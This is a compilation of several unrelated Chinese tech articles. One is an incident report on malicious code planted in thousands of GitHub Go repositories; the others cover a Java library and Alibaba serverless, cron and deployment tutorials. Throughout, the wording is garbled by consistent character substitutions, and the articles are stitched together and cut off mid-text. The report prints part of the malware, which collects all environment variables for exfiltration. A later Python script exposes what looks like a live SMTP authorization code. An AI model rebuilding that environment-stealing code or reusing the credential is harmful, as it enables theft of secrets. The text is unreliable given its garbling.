Github

事件简述oscs 开源平安社区监测到8月3日13时，名为 Stephen Lacy 的工程师在 Twitter 中示意其发现 GitHub 中大量仓库被退出了恶意代码，感化文件超过3.5万，波及 Go 代码、NPM 装置脚本、容器镜像配置等内容。 被感化的仓库大多数处在长期不保护的状态，star 和 fork 数量根本为0恶意代码在最早在2019年曾经提交进局部仓库，不少仓库是在最近10天左右被感化信息收集和控制指令的服务地址位于俄罗斯15时许，GitHub 开始对受影响仓库进行清理，以后受影响仓库曾经全副无法访问。 因为被投毒的开源仓库大多无人关注，预计此次事件自身的理论影响较小，但从攻打手法上来看体现了攻击者有较强的工程化利用能力。 以ovz1.j19544519作为关键词在 GitHub 中能够搜寻到超过3.5万个代码文件的后果。 最早提交的恶意代码是在2019年 https://github.com/promonlogicalis/asn1/blob/7bdca06d0edf895069dc25fb60a49c6dae27b916/context.go#L241 攻打手法剖析目前官网暂未给出该事件具体起因，对于此事件波及泛滥账号，咱们猜测可能存在以下三种状况： GitHub 账号撞库   抽样统计能够发现，多个被投毒的账号密码此前曾经透露，因而可能通过撞库取得账号权限GitHub API Token 透露攻击者通过收集公开透露的 token，从而对仓库进行间接操作 攻击者注册了一批马甲账号攻击者可能注册了一批虚伪的马甲账号，模拟实在我的项目，再通过马甲账号公布与原仓库相似的代码 恶意代码剖析投毒的仓库大多为 go 的仓库，其中恶意代码如下，逻辑自身较为简单。非凡的是除了恶意代码外，攻击者在 commit 中还退出了「真切」的正文、license、commit 阐明等内容，使得恶意代码更容易暗藏。 攻击者可能通过收集原仓库 commit 信息，而后生成与之类似的后果，例如与代码变更相符的 Update README.md 或 Update license 提交，体现了攻击者有较强的工程化能力。 代码会先尝试获取"e452d6ab"环境变量，如果为"e452d6ab"值为1则间接完结运行。 if os__.Getenv("e452d6ab") == "1" { return }如果找不到对应的环境变量则设置"e452d6ab"环境变量，避免反复执行，而后将以后环境的环境变量转为 json 格局的变量 env。 os__.Setenv("e452d6ab", "1") env, err := json__.Marshal(os__.Environ()) if err != nil { return }再将对应的环境变量发送给歹意服务器，环境变量中可能会蕴含 AWS access keys，Crypto keys 等敏感内容。 ...

resubmitresubmit 是一款为 java 设计的渐进式避免反复提交框架。 举荐浏览： 面试官：你们的我的项目中是怎么做避免反复提交的？ resubmit 渐进式防反复提交框架简介 创作目标有时候手动加避免反复提交很麻烦，每次手动编写不利于复用。 所以心愿从从简到繁实现一个工具，便于平时应用。 个性渐进式实现，可独立 spring 应用基于注解+字节码，配置灵便反对编程式的调用反对注解式，完满整合 spring反对整合 spring-boot变更日志 疾速开始maven 引入<dependency> <group>com.github.houbb</group> <artifact>resubmit-core</artifact> <version>1.0.0</version></dependency>编码UserService.java@Resubmit 对应的属性如下： 属性阐明默认值value()多久内禁止反复提交，单位为毫秒。60000@Resubmit(5000)public void queryInfo(final String id) { System.out.println("query info: " + id);}测试代码如果在指定时间差内，反复申请，则会抛出异样 ResubmitException @Test(expected = ResubmitException.class)public void errorTest() { UserService service = ResubmitProxy.getProxy(new UserService()); service.queryInfo("1"); service.queryInfo("1");}雷同的参数间接提交2次，就会报错。 测试场景2如果期待超过指定的 5s，就不会报错。 @Testpublic void untilTtlTest() { UserService service = ResubmitProxy.getProxy(new UserService()); service.queryInfo("1"); DateUtil.sleep(TimeUnit.SECONDS, 6); service.queryInfo("1");}自定义ResubmitProxy.getProxy(new UserService()); 能够获取 UserService 对应的代理。 等价于： ResubmitBs resubmitBs = ResubmitBs.newInstance() .cache(new CommonCacheServiceMap()) .keyGenerator(new KeyGenerator()) .tokenGenerator(new HttpServletRequestTokenGenerator());UserService service = ResubmitProxy.getProxy(new UserService(), resubmitBs);其中 ResubmitBs 作为疏导类，对应的策略都反对自定义。 ...

什么是函数？刚刚考完数学没多久的我，脑里立马想到的是自变量、因变量、函数值，也就是y=f(x)。当然，在计算机里，函数function往往指的是一段被定义好的代码程序，咱们能够通过传参调用这个定义好的函数，实现咱们所须要的性能。那么，明天的函数计算FC又是什么？ 云计算时代的当下，容器化技术与各种工具倒退的DevOps，曾经把开发与运维的工作进行了新的兼顾，开发人员在实现代码的编写后，无需思考环境，间接提交到各种流水线就能够实现测试、开发、部署，我的项目构建微服务，由容器实现环境的封装。然而往往咱们最终还是须要投入精力到业务上线的集群，是公有云环境还是私有云？是裸金属服务器还是云实例ECS？是自购还是租用？ 当然，DevOps的落地、服务器\集群的运维，这些都是须要投入大量的资源与精力，DevOps是一条捷径，但不是惟一的前途。而函数计算FC的呈现，带来了无服务Serverless的架构，让开发者在开发和部署的时候，不再有部署服务简单的感觉。 对服务器的无感召，能够使开发者真正的关注在本人的代码上。阿里云Serverless函数式极简编程可专一于业务翻新，无洽购和部署老本、提供监控报警等齐备的可观测能力。阿里云函数计算FC是事件驱动的全托管计算服务，真正的无需去思考服务器的运维治理，只须要实现开发的代码进行上传，函数计算会通过角色策略去布局计算资源，弹性的形式执行函数，最初高效的执行部署。优雅！ Serverless 将会有那些实用场景？是集体？还是生产？那么这次我将部署两种不同方向的利用对 Serverless 进行测评！ 一、告诉零碎与Webhook，Trigger触发与Chat机器人。许多零碎中波及到的push类性能，例如邮件、短信、Webhook。当然Webhook的能力不只是信息告诉，不过这里所指的告诉性能必然是须要基础设施也就是服务器来撑持运行，如果将这些性能间接由Serverless来操作，咱们便无需领取运维一台服务器，节俭了大量的工作与费用。同样，咱们能够利用Serverless事件驱动模型实现定时主动触发工作，主动签到主动发送。 二、其次当然是Web类的利用。基于各类Web框架的利用部署，构建基于Java、Python、PHP等语言的站点，Serverless很容易实现如wordpress这样的博客利用的上线。配合其余云产品，Codeup、OSS、RDS等，更能实现高可用高性能的Web利用，如官网提供的Kod云盘零碎。 Serverless农产品电商网站上云革新这里我拿隔壁软件业余（俺是网络技术的）的一个大作业我的项目作为部署的案例。我的项目是非常简单并且性能繁多的，然而也是十分经典的前后端拆散我的项目，因为我开发不太会，我的项目具体技术就不献丑了。之前据说是有什么版权的，我就不放源代码了hhhh。 在革新之前，我置信是很多中小型公司业务的经典AllinOne构造，把业务波及到的所有服务中间件运行在一台服务器/虚拟机上，尽管当初看可能完完全全是实验室环境，然而理论看到的仍然有很多我的项目是这么做的。害处也不必多提，部署运维难、难以进行资源的扩容、后续革新简单、性能差没有利用高可用技术等等。。。 Serverless的农产品电商平台上云，我的项目比较简单，布局就在同一地区了。次要是将前端HTML页面与后端Jar包运行别离由两个独自的Serverless函数实现运行计算。其余撑持服务上云，别离用对应的云产品实现，这里Redis服务因为我本人ECS上有运行redis服务，就不再独自购买云数据库Redis版了，当然举荐应用阿里云的Redis云数据库产品。 1.Serverless服务创立进入函数计算控制台，抉择【服务及函数】，点击【创立服务】输出创立服务的名称与形容，开启日志性能，点击确定，实现服务的创立 服务创立实现后，进入【服务详情】，找到【网络配置】，点击【编辑】抉择容许拜访VPC，抉择自定义配置，抉择VPC、vSwitch、平安组，这里须要和后续其余撑持的云产品（数据库等）放弃在同一VPC下。因而须要做好云上网络的布局，也要看一下产品是否在地区下有没有库存。 2.前端页面Serverless函数创立实现服务创立后，点击【创立函数】，进入函数的创立页面抉择【应用自定义运行时平滑迁徙WebServer】，输出函数名称，抉择运行环境为【Nginx】，上传前端html代码与nginx的配置文件，抉择监听端口为80，即为原nginx中间件的服务端口。 实现函数创立后，进入到函数详情界面，能够在函数代码中对代码进行编辑批改，代码改变后须要点击部署代码从新上传。上述也提到了，这里须要将Nginx服务配置一起上传，其中须要拷贝一份/etc/nginx/mime.types文件到当下目录，防止mime文件类型映射谬误。 这里放nginx要害配置，依据本人的业务状况批改，留神配置中端口监听须要与函数创立监听端口保持一致，同时网页代码的门路设置为/code http { include mime.types; #留神引入此文件 keepalive_timeout 900; server { listen 80; server_name localhost; location / { root /code; index index.html index.htm; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } location /users { proxy_pass http://serverless.后端函数拜访地址.run; #Nginx反代传给后端的函数，地址在后续后端函数创立完能够拷贝 } location /items { proxy_pass http://serverless.后端函数拜访地址.run; #Nginx反代传给后端的函数，地址在后续后端函数创立完能够拷贝 } 能够在调用日志查问相干日志 当函数触发运行，Serverless将会依据拜访申请主动起实例，在这里能够手动登陆实例，去进行中间件服务的日志、运行环境的一些查看与排错。 3.后端Serverless函数创立回到函数服务界面，再次点击【创立函数】，进入函数的创立页面抉择【应用自定义运行时平滑迁徙WebServer】，输出函数名称，抉择运行环境为【Java】，上传打包好的Jar包文件。依据具体业务批改【启动命令】与【监听端口】。我这里须要监听业务端口为8080，并且须要在运行时传入数据库连贯的参数，这里所配置的数据库源用户名明码连贯地址，在后续的云数据库RDS中会进行相干设置。 后端函数创立实现后进入函数详情界面，其余性能与上述前端函数雷同，不再复述 ...

作者：硬之城产品总监陈泽涛，阿里云云原生高级架构师洛浩深圳前海硬之城，成立于2016年，是一家数字化的电子产业供应链和制作平台，它的定位是为具备新硬件需要的科创类公司提供包含电子器件、PCB、SMT的一站式的交付能力服务。对于中小企业来说，这是一个正当备货正当采买的获取供应链服务+制作加工服务平台。 相比传统的代码开发，每一个市场需求的研发都须要消耗不少的研发资源投入到对应的需要开发中。这其中不仅有代码开发的工作，而且后期与工程师间的沟通工作也占用了不少资源。这不仅让每个需要都会耗费不少的研发老本，而且市场的需要也须要期待研发实现能力响应。这也是为什么硬之城抉择做低代码平台的起因。 咱们在理论的业务中，会频繁的收到来自市场的需要，这些需要还存在一部分不确定性和尝试性的需要。为此始终让咱们的研发资源相当缓和。低代码平台的打造，不仅让没有编程根底的业务能够疾速上手，让各业务部门都能够搭建本人的治理利用，大大缓解了研发资源缓和的问题。 在咱们理论的应用过程中，发现低代码平台不仅能够笼罩许多简略的需要研发，而且许多惯例的、简单的需要也能够通过低代码平台实现。特地在不确定性和尝试性的需要，因为此类需要自身存在不稳定性，需要变更的状况十分广泛。这时因为低代码的迭代老本和门槛低，业务能够间接在后盾批改利用，以达到疾速的响应市场指标。 目前咱们低代码平台应用Java和Nodejs开发，后端采纳SpringBoot，前端采纳Vue，基于ECS进行部署时，采纳Shell脚本公布，并基于Nginx负载到多台主机。然而咱们常常会碰到服务器资源占用不均衡，运维老本高，操作权限调配繁琐等问题，这给咱们整个团队的合作造成了困扰，为此咱们始终在寻找对应的解决方案。 始终到咱们发现能够实现全托管、免运维、高弹性的SEA平台。SEA反对开源微服务、开源定时工作框架、Web利用的全托管。为此咱们进行了架构搭建，发现SEA能够正当调配利用和服务器之间的资源，以及利用动静伸缩灵活性。这无效的升高了服务器运维门槛，防止危险操作，简化了咱们团队成员对利用蓝绿公布的操作流程，晋升了公布安全性和可靠性。 通过一段时间的应用，咱们目前能够通过云效流水线公布SAE利用，镜像构建存储都缓存到阿里云镜像库，每位该项目标开发人员都能通过流水线公布利用，并且基于阿里云RAM零碎能够很好的管制权限，公布效率大大晋升，每一个SAE应都对应有独立的节点，不须要思考利用是要选取公布到哪一台主机，只须要做好SLB负载平衡，理论资源用多少付费多少，也不须要操心服务器的各种机器保护问题，显著晋升了运维工作的效率。对利用自身来说，就是人效的晋升，更加不便简洁的步骤就能实现一个利用的部署周期。 对于运维治理上来说，就是更加轻便，少了很多诡异的操心事。对于整个微服务架构来说就是脉络更加清晰，可扩展性更强，只须要点一下即可扩大更多更强的负载能力。公司做老本估算的时候也能更加可控，不须要一堆服务器和IP。 硬之城低码平台将来布局及愿景将来咱们冀望业务与技术能并行。适宜业务自行治理的需要，业务本身能够通过低代码就能够疾速的实现他本人的需要上线，并自行保护。对于非常复杂及存在技术门槛的需要，此时技术人员才染指，让技术人员更专一的解决高价值、高技术的问题。这不仅让业务能够疾速响应市场需求，也让技术人员有更多的精力去解决企业的技术问题。最终让企业的业务人员和技术人员都流动起来，专一起来，以此来让企业更加有生机。 SAE针对SaaS场景的计划及劣势通过硬之城的实际，咱们也能感触到SAE对开发和运维效率的极大晋升，如下图所示，这其实是因为SAE联合了容器、Serverless、微服务的长处，打造一站式利用开发部署平台。 对下屏蔽了K8S等资源保护的复杂性，对上提供全利用生命周期治理、微服务治理、APM、弹性治理等能力，能够让用户更简略的实现容器化、利用迁徙、业务上云。同时对于曾经实现了微服务化、或者依然处于单体架构的存量利用，SAE也能够反对“0”代码革新迁徙。如下图，假设业务是基于ECS部署的，如果想晋升业务的弹性能力以更好的应答流量稳定，或者就是单纯的想简化资源的治理和运维等繁琐的事件，那么SAE就能够间接把ECS替换掉，也就是把部署在ECS上的业务代码在SAE平台上重新部署即可，前端平安、后端数据库等资源的部署和应用依然放弃不变。 这里须要揭示下，如果是基于ECS自建的数据库、消息中间件等带强状态的服务，是不适宜迁徙到SAE上的，毕竟一旦产生弹性伸缩，就会造成“状态数据”的缺失，如果不是对价格十分敏感，倡议这部分服务能够迁徙到云上的PaaS产品以获得更好的稳定性。基于以上两点，咱们就能够再进一步的扩大，针对大部分SaaS企业客户，咱们发现有两类业务诉求： 一类是采纳订阅制的SaaS企业，打造本身的服务平台，对外提供像订票、餐饮服务、机酒、出行、ERP、HRP等服务。这类企业外围关注的是垂直业务畛域的竞争力和麻利迭代，以保障本身可能疾速响应市场。同时这类业务对弹性也存在着较大的诉求，那么基于SAE构建弹性微服务能力、或者弹性容器就十分的符合，既能够让用户聚焦业务开发，同时平台提供资源管理、弹性、利用治理等一体化的能力，极大的简化了运维老本，还能通过弹性来晋升资源利用率，达到节俭资源老本的目标。SAE还能够和Jenkins或者云效联动构建流水线，来晋升整体的开发部署效率。还有一类 SaaS 企业会承接很多独立部署的需要，把本身构建的业务平台在最终客户的阿里云账号或者IDC里进行独自交付。针对阿里云上部署的服务，就会面临着开资源、部署、前期运维等一系列流程，尤其是最终客户的技术能力参差不齐，那么如何能疾速实现业务部署、并简化前期的排障和保护工作就显得尤为重要。在这里，SAE 提供了基于 terraform 的一键部署形式，能够把业务代码+SAE资源、VPC 网络、SLB、数据库等形成业务零碎的全副产品资源，分钟级部署并拉起，具备极强的可复制性。如下图所示，再加上 SAE 自带的 APM 监控能力和弹性免运维的个性，对于后续交付最终客户后，也能极大升高保护老本。Serverless 曾经成为云计算的下个十年，冀望阿里云的 Serverless 能力，可能给越来越多的用户带来便捷，简化用云的老本，把简单留给本人，简略留给用户。 更多内容关注 Serverless 微信公众号（ID：serverlessdevs），会集 Serverless 技术最全内容，定期举办 Serverless 流动、直播，用户最佳实际。

什么是函数计算？函数计算是事件驱动的全托管计算服务。应用函数计算，您无需洽购与治理服务器等基础设施，只需编写并上传代码。函数计算为您筹备好计算资源，弹性地牢靠地运行工作，并提供日志查问、性能监控和报警等性能，借助函数计算，您能够疾速构建任何类型的利用和服务，并且只需为工作理论耗费的资源付费。 开发步骤1.开明函数计算开明前须要您已注册阿里云账号并实现实名认证，进入函数计算官网函数计算https://fcnext.console.aliyun.com如果您还未开明函数计算，需在函数计算开明页面勾选呢函数计算服务协定之后点击立刻开明，开明实现后会主动跳转至函数计算控制台。 2.新建服务在函数计算控制台点击 "服务及函数" 进入服务列表，在服务列表点击创立服务，填写服务的配置，点击确认即可创立服务，注：开启日志和链路追踪性能能够更不便的进行代码调试、故障剖析、数据分析和查看函数外部工夫的耗费等(举荐开启，但可能会收取局部费用)。 3.新建函数在服务列表下点击创立的服务名称进入函数治理页面，点击创立函数，在创立函数页面抉择 "应用自定义运行时创立" 填写函数的相干配置，在运行环境中抉择Java 17的示例模版函数，配置实现后页面下拉至底部点击创立即可部署一个springboot我的项目。 4.自定义域名配置函数创立实现后间接在浏览器中间接关上申请地址，将会以附件的形式下载响应。这是因为 Http 触发器会主动在响应头中增加 Content-Disposition: attachment 字段，咱们能够应用自定义域名防止该问题，进入域名治理页面点击增加自定义域名，在路由配置中抉择本人创立的服务和函数，配置实现后，就能够在浏览器中输出配置的域名，能够看到页面显示的Hello World!内容，到此一个简略的springboot我的项目就部署配置实现了。 5.开发导出代码持续进行我的项目开发，咱们能够在函数计算控制台进入到该函数的详情页面在函数代码页应用在线IED进行开发和调试，也能够在"导出函数"这里导出函数的代码，应用本人的代码编辑器进行开发。 代码构造 pom.xml <?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.6.6</version> <relativePath/> <!-- lookup parent from repository --> </parent> <groupId>com.example</groupId> <artifactId>demo</artifactId> <version>0.0.1-SNAPSHOT</version> <name>demo</name> <description>Demo project for Spring Boot</description> <properties> <java.version>17</java.version> </properties> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build></project>DemoApplication ...

定时工作作为一种依照约定工夫执行预期逻辑的通用模式，在企业级开发中承载着丰盛的业务场景，诸如后盾定时同步数据生成报表，定时清理磁盘日志文件，定时扫描超时订单进行弥补回调等。程序开发人员在定时工作畛域有着诸多框架和计划可供选择，并借此疾速实现业务性能实现产品上线。本文将就以后支流定时工作解决方案进行介绍和剖析，冀望能够在企业技术选型和我的项目架构重构时作为参考。 Crontab指标定位Crontab作为Linux内置的可执行命令，能够实现依照cron表达式生成的工夫执行指定的零碎指令或 shell脚本。 应用形式crontab 命令语法： crontab [-u username] [-l | -e | -r ]参数：-u : 只有root用户能力进行这个工作，编辑某个用户的crontab-e : 编辑 crontab 的工作内容-l : 查阅 crontab 的工作内容-r : 移除所有的 crontab 的工作内容配置文件示例： * * * * * touch ~/crontab_test* 3 * * * ~/backup0 */2 * * * /sbin/service httpd restart实现原理crond守护过程是通过Linux启动时的init过程启动，由cornd每分钟会查看/etc/crontab配置文件中是否有须要执行的工作，并通过 /var/log/cron文件输入定时工作的执行状况。用户能够应用Crontab命令治理/etc/crontab配置文件。 计划剖析借助Crontab用户能够非常便当的疾速实现繁难的定时工作性能，但存在以下痛点： 定时工作与指定linux机器绑定，当机器扩容或者更换时须要重新配置contab，同时存在单点故障危险随着定时工作规模增多，无对立视角对其进行工作进度的追踪和管控，难以保护性能过于简略，没有超时，重试，阻塞等工作高级个性可观测能力差，问题排查定位艰难工作常驻，当无工作执行时造成不必要的资源老本节约Spring Task指标定位Spring框架提供了开箱即用的定时调度性能，用户能够通过xml或者@Scheduled注解的形式标识指定办法执行的周期。Spring Task反对多种工作执行模式，包含带时区配置的corn，固定提早，固定速率等。 应用形式代码实例如下： @EnableScheduling@SpringBootApplicationpublic class App { public static void main(String[] args) { SpringApplication.run(App.class, args); }}@Componentpublic class MyTask { @Scheduled(cron = "0 0 1 * * *") public void test() { System.out.println("test"); } }实现原理Spring Task的原理是在初始化bean时借助ScheduledAnnotationBeanPostProcessor拦挡@Scheduled注解所标识的办法，并依据每个办法及其注解配置构建相应的Task实例注册到ScheduledTaskRegistrar中，并在单例bean初始化实现后通过afterSingletonsInstantiated回调设置ScheduledTaskRegistrar中的调度器TaskScheduler，其底层依赖于jdk并发包中的ScheduledThreadPoolExecutor实现，并在afterPropertiesSet时将所有Task增加到TaskScheduler中调度执行。 ...

异步工作解决零碎中的数据分析数据处理、机器学习训练、数据统计分析是最为常见的一类离线工作。这类工作往往都是通过了一系列的预处理后，由上游对立发送到工作平台进行批量训练及剖析。在解决语言方面，Python 因为其所提供的丰盛的数据处理库，成为了数据畛域最为罕用的语言之一。函数计算原生反对 Python runtime，并反对快捷的引入第三方库，使得应用函数计算异步工作进行解决变得极为不便。 数据分析场景常见诉求数据分析场景往往具备执行工夫长、并发量大的特点。在离线场景中，往往会定时触发一批大量的数据进行集中处理。因为这种触发个性，业务方往往会对资源利用率（老本）具备较高的要求，冀望可能满足效率的同时，尽量降低成本。具体归纳如下： 程序开发便捷，对于第三方包及自定义依赖敌对；反对长时运行。可能查看执行过程中的工作状态，或登录机器进行操作。如果呈现数据谬误反对手动进行工作；资源利用率高，老本最优。以上诉求非常适合应用函数计算异步工作。 典型案例 - 数据库自治服务业务根本状况阿里云团体外部的数据库巡检平台次要用于对 sql 语句的慢查问、日志等进行优化剖析。整个平台工作分为离线训练及在线剖析两类次要工作，其中在线剖析业务的的计算规模达到了上万核，离线业务的每日执行时长也在数万核小时。因为在线剖析、离线训练工夫上的不确定性，很难进步集群整体资源利用率，并且在业务顶峰来时须要极大的弹性算力反对。应用函数计算后，整个业务的架构图如下： 业务痛点及架构演进数据库巡检平台负责阿里巴巴全网各 Region 的数据库 SQL 优化及剖析工作。Mysql 数据来源于各 Region 的各个集群，并对立在 Region 维度进行一次预聚合及存储。在进行剖析时，因为须要跨 region 的聚合及统计，巡检平台首先尝试在内网搭建大型 Flink 集群进行统计分析工作。然而在理论应用中，遇到了如下问题： 数据处理算法迭代繁琐。次要体现在算法的部署、测试及公布上。Flink 的 Runtime 能力极大限度了公布周期；对于常见的及一些自定义的第三方库，Flink 反对不是很好。算法所依赖的一些机器学习、统计的库在 Flink 官网 Python runtime 中要么没有，要么版本老旧，应用不便，无奈满足要求；走 Flink 转发链路较长，Flink 排查问题艰难；峰值时弹性速度及资源均较难满足要求。并且整体老本十分高。在理解了函数计算后，针对 Flink 计算局部进行了算法工作的迁徙工作，将外围训练及统计算法迁徙至函数计算。通过应用函数计算异步工作所提供的相干能力，整个开发、运维及老本失去了极大的晋升。 迁徙函数计算架构后的成果迁徙函数计算后，零碎可能残缺承接峰值流量，疾速实现每日剖析及训练任务；函数计算丰盛的 Runtime 能力反对了业务的疾速迭代；计算上雷同的核数老本变为了原来 Flink 的 1/3。函数计算异步工作十分实用于这类数据处理工作。函数计算在升高运算资源的老本同时，可能将您从繁冗的平台运维工作中解放出来，专一于算法开发及优化。 函数计算异步工作最佳实际-Kafka ETLETL 是数据处理中较为常见的工作。原始数据或存在于 Kafka 中，或存在于 DB 中，因为业务须要对数据进行解决后转储到其余存储介质（或存回原来的工作队列）。这类业务也属于显著的工作场景。如果您采纳了云上的中间件服务（如云上的 Kafka），您就能够利用函数计算弱小的触发器集成生态便捷的集成 Kafka，而无需关注诸如 Kafka Connector 的部署、错误处理等与业务无关的操作。 ETL 工作场景的需要一个 ETL 工作往往蕴含 Source、Sink 及处理单元三个局部，因而 ETL 工作除了对算力的要求外，还须要工作零碎具备极强的上下游连贯生态。除此之外，因为数据处理的准确性要求，须要工作解决零碎可能提供工作去重、Exactly Once 的操作语义。并且，对于解决失败的音讯，须要可能进行弥补（如重试、死信队列）的能力。总结如下： 工作的精确执行： ...

原文链接：https://developer.aliyun.com/article/982746 1. 为什么要迁徙到阿里云函数？我的我的项目是一个节日礼品支付我的项目，过节的时候会有短时间的流量洪峰。平时访问量很低。之前的架构是购买的阿里云alb+多台ecs+云msyql+云redis。最大的问题就是老本问题。平时流量低的时候ecs老本也无奈缩减。阿里云函数计算是serverless，即无服务架构，就比方你的业务流量短时间忽然很多。函数计算就会毫秒级别启动多个实例（阿里云函数计算 FC 用来运行函数的最小单元），如果没人拜访能够没有实例运行，做到0费用。然而有人拜访的时候第一次冷启动就略微慢一点，能够依据理论状况设置起码保留一个实例。部署到阿里云函数计算，还能缩小运行环境搭建的老本。之前的模式须要在ecs装置nginx，而后装置php，以及装置php的驱动程序redis等。看了下阿里云函数计算官网文档，目前custom runtime Debian 9内置php7.4并且看了下内置的php的扩大整好也反对到了我整好须要的redis。不仅剩下了买服务器钱，而且还不必装置php环境了，不仅如此每个月还有收费的算力额度。迁徙起因总结下：1老本升高了很多2免去了环境部署3主动扩容，天生应答高并发 2. 革新旧我的项目适配函数计算。代码改变：尽管说免去了环境部署，然而我之前的代码还是有些不适配的中央，比方之前代码的日志都是寄存到服务器的某个目录的。如果迁徙到函数计算的话，实例会随时销毁重建，导致日志失落。解决办法就是把日志写入到阿里云oss下面，或者应用阿里云的日志服务写到那个外面去。这里还有一点要留神，我的我的项目不是前后端拆散的，鉴权还是穿透的session和cookie模式。如果session是保留在服务端的文件的话也会存在下面的问题，倡议存储的redis外面，我的我的项目本省就是存到redis外面的，所以这块不须要改变，如果你的我的项目存在这样的问题那就须要改良下了。函数计算和云msyql和云redis通信的时候肯定要采纳vpc内网互通的准则缩小链路传输的开销以及链路劫持危险。 3. 减少s.yml以及启动shell脚本配置s.yml应用Serverless Devs客户端工具公布到阿里云函数计算，Serverless Devs这个工具并非阿里云的客户端工具，而是一个开源凋谢的 Serverless 开发者平台，致力于为开发者提供弱小的工具链体系。通过该平台，开发者不仅能够一键体验多云 Serverless 产品，极速部署 Serverless 我的项目，还能够在 Serverless 利用全生命周期进行我的项目的治理，并且非常简单疾速的将 Serverless Devs 与其余工具/平台进行联合，进一步晋升研发、运维效力。它的官网地址：https://www.serverless-devs.com/ 而后看下我的s.yml外面的配置信息，具体的说下重要项是干嘛的。 edition: 1.0.0name: compoent-testaccess: 'default'services: cn-hangzhou-test1002-func-3i3c0f95: component: devsapp/fc props: region: cn-hangzhou service: logConfig: enableRequestMetrics: true enableInstanceMetrics: true logBeginRule: DefaultRegex project: aliyun-fc-cn-hangzhou-ae3ef8b8-db4a-5b7a-a040-7012789ad20f logstore: function-log role: acs:ram::1621341641365186:role/AliyunFcDefaultRole internetAccess: true name: test1002 function: customRuntimeConfig: command: - bash args: - '-c' - 'chmod 777 /code/start.sh && /code/start.sh' handler: index.handler instanceType: e1 runtime: custom timeout: 5 instanceConcurrency: 20 memorySize: 512 caPort: 9000 environmentVariables: {} internetAccess: true name: func-3i3c0f95 asyncConfiguration: {} codeUri: ./test1002/func-3i3c0f95 triggers: - name: defaultTrigger description: '' type: http qualifier: LATEST config: methods: - GET - POST - PUT - DELETE authType: anonymous codeUri: ./test1002/func-3i3c0f95这个指定的是我的我的项目代码的地位，会把这个目录上面的代码拷贝到 debain零碎的 /code目录上面。   ...

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原文链接：https://developer.aliyun.com/article/981268 演示视频：https://developer.aliyun.com/live/249772一、Serverless简介Serverless，中文意思是“无服务器”，所谓的无服务器并非是说不须要依附服务器等资源，而是说开发者再也不必过多思考服务器的问题，能够更专一在产品代码上，同时计算资源也开始作为服务呈现，而不是作为服务器的概念呈现。 1.Serverless架构次要蕴含两局部：Baas和Faas，通常位于云端，应用时不须要关注最底层的服务器。Baas（后端即服务：Backend as a Service）包含对象存储、云数据库、API网关、音讯推送等。Faas（函数即服务：Functions as a Service）对计算能力进行了形象，能够在无需治理服务器的状况下响应事件。 2.Serverless三大利用场景场景一：事件触发场景，即有事件触发时才会执行。场景二：流量突发场景，遇到突发大流量状况时，Serverless架构下按需加载，弹性伸缩，节俭资源，负载平衡。场景三：大数据处理场景，用户只须要上传外围代码到函数计算，就能够疾速实现整个工作。 3.Serverless的劣势传统架构下，面对大流量场景，须要减少机器或者对机器降级，运维较为艰难。面对顶峰和低谷，无奈做到按需应用，老本较高。Serverless架构下，开发者只需专一代码开发，无需在各个云资源控制台手动开明服务和配置管理，并可能依据业务申请主动进行弹性伸缩；反对用户按需付费，老本较低；开发周期快，很大水平上晋升了开发、部署的效率。具体能够查看阿里云相干文档 https://developer.aliyun.com/group/serverless 二、Python实现发送邮件import requestsimport yagmail # 此模块用于发邮件import schedule # 此模块用于打算工作from bs4 import BeautifulSoupimport reran = 0url = 'https://tianqi.2345.com/cixian1d/70177.htm' # 定义天气预报的urlloveurl = 'https://www.guaze.com/juzi/23389.html' # 定义情话的urldef email(): global ran # 将ran变量申明为全局变量 web = requests.get(url) # print(web.text) page = BeautifulSoup(web.text,"html.parser") # print(ran) # print(love[ran]) weather = page.find("div",class_="real-today") # print(weather.text) web2 = requests.get(loveurl) web2.encoding = 'gb2312' page = BeautifulSoup(web2.text, "html.parser") div = page.find('div', class_="content") div = str(div.text) # print(div) grep = re.compile(r"\d+、(.*)") content = grep.findall(div) # print(content)# email函数内的内容是爬取天气和情话的，具体的地址天气你能够更换url yag = yagmail.SMTP( host='smtp.qq.com', user='xxxxxxx@qq.com', # 如过用的是qq邮箱就写smtp.qq.com，如果是163就写smtp.163.com password='xhaztrwpjffpbdhh', smtp_ssl=True # 受权码在qq邮箱里开启smtp就会生成一个 ) weather = [weather.text,"每日情话:",content[ran], # 定义发送内容 yagmail.inline(r"/.love.jpg") # 附件图片，不发图片能够删掉 ] yag.send( to=['xxxxxxxxx@qq.com'], subject='早鸭', # 邮件主题 contents=weather # 发送的内容为下面定义的weather，其中weather.text是天气预报，content[ran]是情话 ) print("发送实现") ran += 1schedule.every().day.at("05:21").do(email) # 每天5点20分执行函数email0#schedule.every(10).seconds.do(email) #每10秒执行一下函数email的内容，我这里用于测试while True: schedule.run_pending()三、部署到阿里云Serverless，实现主动发送1.登录到阿里云首页 ...

